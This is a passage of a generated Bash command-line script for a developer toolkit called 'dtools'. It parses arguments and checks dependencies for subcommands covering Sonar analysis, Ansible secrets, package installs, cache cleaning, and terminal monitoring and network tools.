"$key" in --help | -h) long_usage=yes dtools_java_analyze_with_sonar_usage exit ;; *) break ;; esac done action="java analyze-with-sonar" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --sonar-url | -u) if [[ -n ${2+x} ]]; then args['--sonar-url']="$2" shift shift else printf "%s\n" "--sonar-url requires an argument: --sonar-url, -u SONAR_URL" >&2 exit 1 fi ;; --sonar-login | -l) if [[ -n ${2+x} ]]; then args['--sonar-login']="$2" shift shift else printf "%s\n" "--sonar-login requires an argument: --sonar-login, -l SONAR_LOGIN" >&2 exit 1 fi ;; --sonar-project-key | -k) if [[ -n ${2+x} ]]; then args['--sonar-project-key']="$2" shift shift else printf "%s\n" "--sonar-project-key requires an argument: --sonar-project-key, -k SONAR_PROJECT_KEY" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--sonar-url']+x} ]]; then printf "missing required flag: --sonar-url, -u SONAR_URL\n" >&2 exit 1 fi if [[ -z ${args['--sonar-login']+x} ]]; then printf "missing required flag: --sonar-login, -l SONAR_LOGIN\n" >&2 exit 1 fi if [[ -z ${args['--sonar-project-key']+x} ]]; then printf "missing required flag: --sonar-project-key, -k SONAR_PROJECT_KEY\n" >&2 exit 1 fi filter_error=$(filter_maven_or_gradle_installed) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_ansible_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ansible_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ansible >/dev/null 2>&1; then printf "missing dependency: ansible\n" >&2 printf "%s\n\n" "Install with 'dtools install ansible'" >&2 missing_deps=1 else deps['ansible']="$(command -v ansible | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; encrypt-string) action="encrypt-string" shift dtools_ansible_encrypt_string_parse_requirements "$@" shift $# ;; decrypt-variable) action="decrypt-variable" shift dtools_ansible_decrypt_variable_parse_requirements "$@" shift $# ;; "") dtools_ansible_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_ansible_encrypt_string_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ansible_encrypt_string_usage exit ;; *) break ;; esac done action="ansible encrypt-string" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --copy-output-to-clipboard | -c) args['--copy-output-to-clipboard']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_ansible_decrypt_variable_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_ansible_decrypt_variable_usage exit ;; *) break ;; esac done action="ansible decrypt-variable" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --variable | -v) if [[ -n ${2+x} ]]; then args['--variable']="$2" shift shift else printf "%s\n" "--variable requires an argument: --variable, -v VARIABLE" >&2 exit 1 fi ;; --file | -f) if [[ -n ${2+x} ]]; then args['--file']="$2" shift shift else printf "%s\n" "--file requires an argument: --file, -f FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--variable']+x} ]]; then printf "missing required flag: --variable, -v VARIABLE\n" >&2 exit 1 fi if [[ -z ${args['--file']+x} ]]; then printf "missing required flag: --file, -f FILE\n" >&2 exit 1 fi } dtools_install_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_install_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; docker) action="docker" shift dtools_install_docker_parse_requirements "$@" shift $# ;; ansible) action="ansible" shift dtools_install_ansible_parse_requirements "$@" shift $# ;; java) action="java" shift dtools_install_java_parse_requirements "$@" shift $# ;; "") dtools_install_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_install_docker_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_install_docker_usage exit ;; *) break ;; esac done action="install docker" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_install_ansible_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_install_ansible_usage exit ;; *) break ;; esac done action="install ansible" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_install_java_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_install_java_usage exit ;; *) break ;; esac done action="install java" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_clean_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_clean_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; bleachbit) action="bleachbit" shift dtools_clean_bleachbit_parse_requirements "$@" shift $# ;; docker) action="docker" shift dtools_clean_docker_parse_requirements "$@" shift $# ;; package-caches) action="package-caches" shift dtools_clean_package_caches_parse_requirements "$@" shift $# ;; logs) action="logs" shift dtools_clean_logs_parse_requirements "$@" shift $# ;; build-caches) action="build-caches" shift dtools_clean_build_caches_parse_requirements "$@" shift $# ;; "") dtools_clean_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_clean_bleachbit_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_clean_bleachbit_usage exit ;; *) break ;; esac done missing_deps= if ! command -v bleachbit >/dev/null 2>&1; then printf "missing dependency: bleachbit\n" >&2 printf "%s\n\n" "Install from 'https://www.bleachbit.org/download'" >&2 missing_deps=1 else deps['bleachbit']="$(command -v bleachbit | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="clean bleachbit" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_clean_docker_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_clean_docker_usage exit ;; *) break ;; esac done missing_deps= if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker']="$(command -v docker | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="clean docker" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_clean_package_caches_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_clean_package_caches_usage exit ;; *) break ;; esac done action="clean package-caches" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_clean_logs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_clean_logs_usage exit ;; *) break ;; esac done action="clean logs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_clean_build_caches_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_clean_build_caches_usage exit ;; *) break ;; esac done action="clean build-caches" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['code-directory']+x} ]]; then args['code-directory']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['code-directory']+x} ]]; then printf "missing required argument: CODE-DIRECTORY\nusage: dtools clean build-caches CODE-DIRECTORY\n" >&2 exit 1 fi } dtools_tui_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; monitoring) action="monitoring" shift dtools_tui_monitoring_parse_requirements "$@" shift $# ;; network-monitoring) action="network-monitoring" shift dtools_tui_network_monitoring_parse_requirements "$@" shift $# ;; network) action="network" shift dtools_tui_network_parse_requirements "$@" shift $# ;; docker) action="docker" shift dtools_tui_docker_parse_requirements "$@" shift $# ;; development) action="development" shift dtools_tui_development_parse_requirements "$@" shift $# ;; dev-help) action="dev-help" shift dtools_tui_dev_help_parse_requirements "$@" shift $# ;; data) action="data" shift dtools_tui_data_parse_requirements "$@" shift $# ;; misc) action="misc" shift dtools_tui_misc_parse_requirements "$@" shift $# ;; sandbox) action="sandbox" shift dtools_tui_sandbox_parse_requirements "$@" shift $# ;; ai) action="ai" shift dtools_tui_ai_parse_requirements "$@" shift $# ;; "") dtools_tui_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_monitoring_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_monitoring_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; system-monitor) action="system-monitor" shift dtools_tui_monitoring_system_monitor_parse_requirements "$@" shift $# ;; pihole-monitor) action="pihole-monitor" shift dtools_tui_monitoring_pihole_monitor_parse_requirements "$@" shift $# ;; kernel-monitor) action="kernel-monitor" shift dtools_tui_monitoring_kernel_monitor_parse_requirements "$@" shift $# ;; "") dtools_tui_monitoring_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_monitoring_system_monitor_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_monitoring_system_monitor_usage exit ;; *) break ;; esac done missing_deps= if ! command -v btop >/dev/null 2>&1; then printf "missing dependency: btop\n" >&2 printf "%s\n\n" "See 'https://github.com/aristocratos/btop'" >&2 missing_deps=1 else deps['btop']="$(command -v btop | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui monitoring system-monitor" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_monitoring_pihole_monitor_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_monitoring_pihole_monitor_usage exit ;; *) break ;; esac done missing_deps= if ! command -v pimon >/dev/null 2>&1; then printf "missing dependency: pimon\n" >&2 printf "%s\n\n" "See 'https://github.com/Scratchcat1/pimon'" >&2 missing_deps=1 else deps['pimon']="$(command -v pimon | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui monitoring pihole-monitor" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_monitoring_kernel_monitor_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_monitoring_kernel_monitor_usage exit ;; *) break ;; esac done missing_deps= if ! command -v kmon >/dev/null 2>&1; then printf "missing dependency: kmon\n" >&2 printf "%s\n\n" "See 'https://github.com/orhun/kmon'" >&2 missing_deps=1 else deps['kmon']="$(command -v kmon | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui monitoring kernel-monitor" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; wavemon) action="wavemon" shift dtools_tui_network_monitoring_wavemon_parse_requirements "$@" shift $# ;; network-diags) action="network-diags" shift dtools_tui_network_monitoring_network_diags_parse_requirements "$@" shift $# ;; ip-traffic) action="ip-traffic" shift dtools_tui_network_monitoring_ip_traffic_parse_requirements "$@" shift $# ;; socket-stats) action="socket-stats" shift dtools_tui_network_monitoring_socket_stats_parse_requirements "$@" shift $# ;; netscanner) action="netscanner" shift dtools_tui_network_monitoring_netscanner_parse_requirements "$@" shift $# ;; upkit) action="upkit" shift dtools_tui_network_monitoring_upkit_parse_requirements "$@" shift $# ;; "") dtools_tui_network_monitoring_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_wavemon_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_wavemon_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wavemon >/dev/null 2>&1; then printf "missing dependency: wavemon\n" >&2 printf "%s\n\n" "See 'https://github.com/uoaerg/wavemon'" >&2 missing_deps=1 else deps['wavemon']="$(command -v wavemon | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network-monitoring wavemon" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_network_diags_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_network_diags_usage exit ;; *) break ;; esac done missing_deps= if ! command -v trippy >/dev/null 2>&1; then printf "missing dependency: trippy\n" >&2 printf "%s\n\n" "See 'https://github.com/fujiapple852/trippy'" >&2 missing_deps=1 else deps['trippy']="$(command -v trippy | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network-monitoring network-diags" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_ip_traffic_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_ip_traffic_usage exit ;; *) break ;; esac done missing_deps= if ! command -v iptraf >/dev/null 2>&1; then printf "missing dependency: iptraf\n" >&2 printf "%s\n\n" "See 'http://iptraf.seul.org/'" >&2 missing_deps=1 else deps['iptraf']="$(command -v iptraf | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network-monitoring ip-traffic" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_socket_stats_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_socket_stats_usage exit ;; *) break ;; esac done missing_deps= if ! command -v neoss >/dev/null 2>&1; then printf "missing dependency: neoss\n" >&2 printf "%s\n\n" "See 'https://github.com/PabloLec/neoss'" >&2 missing_deps=1 else deps['neoss']="$(command -v neoss | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network-monitoring socket-stats" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_netscanner_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_netscanner_usage exit ;; *) break ;; esac done missing_deps= if ! command -v netscanner >/dev/null 2>&1; then printf "missing dependency: netscanner\n" >&2 printf "%s\n\n" "See 'https://github.com/Chleba/netscanner'" >&2 missing_deps=1 else deps['netscanner']="$(command -v netscanner | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network-monitoring netscanner" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_monitoring_upkit_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_monitoring_upkit_usage exit ;; *) break ;; esac done missing_deps= if ! command -v upkit >/dev/null 2>&1; then printf "missing dependency: upkit\n" >&2 printf "%s\n\n" "See 'https://github.com/abhixdd/UptimeKit-CLI'" >&2 missing_deps=1 else deps['upkit']="$(command -v upkit | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network-monitoring upkit" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; network-manager) action="network-manager" shift dtools_tui_network_network_manager_parse_requirements "$@" shift $# ;; bluetooth-manager) action="bluetooth-manager" shift dtools_tui_network_bluetooth_manager_parse_requirements "$@" shift $# ;; wireguard-config) action="wireguard-config" shift dtools_tui_network_wireguard_config_parse_requirements "$@" shift $# ;; mitm-proxy) action="mitm-proxy" shift dtools_tui_network_mitm_proxy_parse_requirements "$@" shift $# ;; proxy) action="proxy" shift dtools_tui_network_proxy_parse_requirements "$@" shift $# ;; proxymock) action="proxymock" shift dtools_tui_network_proxymock_parse_requirements "$@" shift $# ;; http-load-generator) action="http-load-generator" shift dtools_tui_network_http_load_generator_parse_requirements "$@" shift $# ;; ping) action="ping" shift dtools_tui_network_ping_parse_requirements "$@" shift $# ;; full-browser) action="full-browser" shift dtools_tui_network_full_browser_parse_requirements "$@" shift $# ;; elinks) action="elinks" shift dtools_tui_network_elinks_parse_requirements "$@" shift $# ;; w3m) action="w3m" shift dtools_tui_network_w3m_parse_requirements "$@" shift $# ;; lynx) action="lynx" shift dtools_tui_network_lynx_parse_requirements "$@" shift $# ;; carbonyl) action="carbonyl" shift dtools_tui_network_carbonyl_parse_requirements "$@" shift $# ;; http-request-client) action="http-request-client" shift dtools_tui_network_http_request_client_parse_requirements "$@" shift $# ;; http-request-client-2) action="http-request-client-2" shift dtools_tui_network_http_request_client_2_parse_requirements "$@" shift $# ;; api-client) action="api-client" shift dtools_tui_network_api_client_parse_requirements "$@" shift $# ;; "") dtools_tui_network_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_network_manager_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_network_manager_usage exit ;; *) break ;; esac done missing_deps= if ! command -v nmtui >/dev/null 2>&1; then printf "missing dependency: nmtui\n" >&2 printf "%s\n\n" "See 'https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/networking_guide/sec-configuring_ip_networking_with_nmtui'" >&2 missing_deps=1 else deps['nmtui']="$(command -v nmtui | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network network-manager" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_bluetooth_manager_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_bluetooth_manager_usage exit ;; *) break ;; esac done missing_deps= if ! command -v bluetuith >/dev/null 2>&1; then printf "missing dependency: bluetuith\n" >&2 printf "%s\n\n" "See 'https://github.com/bluetuith-org/bluetuith'" >&2 missing_deps=1 else deps['bluetuith']="$(command -v bluetuith | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network bluetooth-manager" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_wireguard_config_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_wireguard_config_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wg-cmd >/dev/null 2>&1; then printf "missing dependency: wg-cmd\n" >&2 printf "%s\n\n" "See 'https://github.com/andrianbdn/wg-cmd'" >&2 missing_deps=1 else deps['wg-cmd']="$(command -v wg-cmd | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network wireguard-config" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_mitm_proxy_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_mitm_proxy_usage exit ;; *) break ;; esac done missing_deps= if ! command -v mitmproxy >/dev/null 2>&1; then printf "missing dependency: mitmproxy\n" >&2 printf "%s\n\n" "See 'https://www.mitmproxy.org/'" >&2 missing_deps=1 else deps['mitmproxy']="$(command -v mitmproxy | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network mitm-proxy" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_proxy_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_proxy_usage exit ;; *) break ;; esac done missing_deps= if ! command -v proxyfor >/dev/null 2>&1; then printf "missing dependency: proxyfor\n" >&2 printf "%s\n\n" "See 'https://github.com/sigoden/proxyfor'" >&2 missing_deps=1 else deps['proxyfor']="$(command -v proxyfor | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network proxy" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_proxymock_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_proxymock_usage exit ;; *) break ;; esac done missing_deps= if ! command -v proxymock >/dev/null 2>&1; then printf "missing dependency: proxymock\n" >&2 printf "%s\n\n" "See 'https://speedscale.com/proxymock/'" >&2 missing_deps=1 else deps['proxymock']="$(command -v proxymock | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network proxymock" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_http_load_generator_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_http_load_generator_usage exit ;; *) break ;; esac done missing_deps= if ! command -v oha >/dev/null 2>&1; then printf "missing dependency: oha\n" >&2 printf "%s\n\n" "See 'https://github.com/hatoo/oha'" >&2 missing_deps=1 else deps['oha']="$(command -v oha | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network http-load-generator" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_ping_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_ping_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gping >/dev/null 2>&1; then printf "missing dependency: gping\n" >&2 printf "%s\n\n" "See 'https://github.com/orf/gping'" >&2 missing_deps=1 else deps['gping']="$(command -v gping | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network ping" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_full_browser_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_full_browser_usage exit ;; *) break ;; esac done missing_deps= if ! command -v browsh >/dev/null 2>&1; then printf "missing dependency: browsh\n" >&2 printf "%s\n\n" "See 'https://www.brow.sh/'" >&2 missing_deps=1 else deps['browsh']="$(command -v browsh | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network full-browser" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_elinks_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_elinks_usage exit ;; *) break ;; esac done missing_deps= if ! command -v elinks >/dev/null 2>&1; then printf "missing dependency: elinks\n" >&2 printf "%s\n\n" "See 'http://elinks.or.cz/'" >&2 missing_deps=1 else deps['elinks']="$(command -v elinks | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network elinks" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_w3m_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_w3m_usage exit ;; *) break ;; esac done missing_deps= if ! command -v w3m >/dev/null 2>&1; then printf "missing dependency: w3m\n" >&2 printf "%s\n\n" "See 'https://github.com/acg/w3m'" >&2 missing_deps=1 else deps['w3m']="$(command -v w3m | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network w3m" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_lynx_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_lynx_usage exit ;; *) break ;; esac done missing_deps= if ! command -v lynx >/dev/null 2>&1; then printf "missing dependency: lynx\n" >&2 printf "%s\n\n" "See 'https://lynx.browser.org/'" >&2 missing_deps=1 else deps['lynx']="$(command -v lynx | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network lynx" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_carbonyl_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) 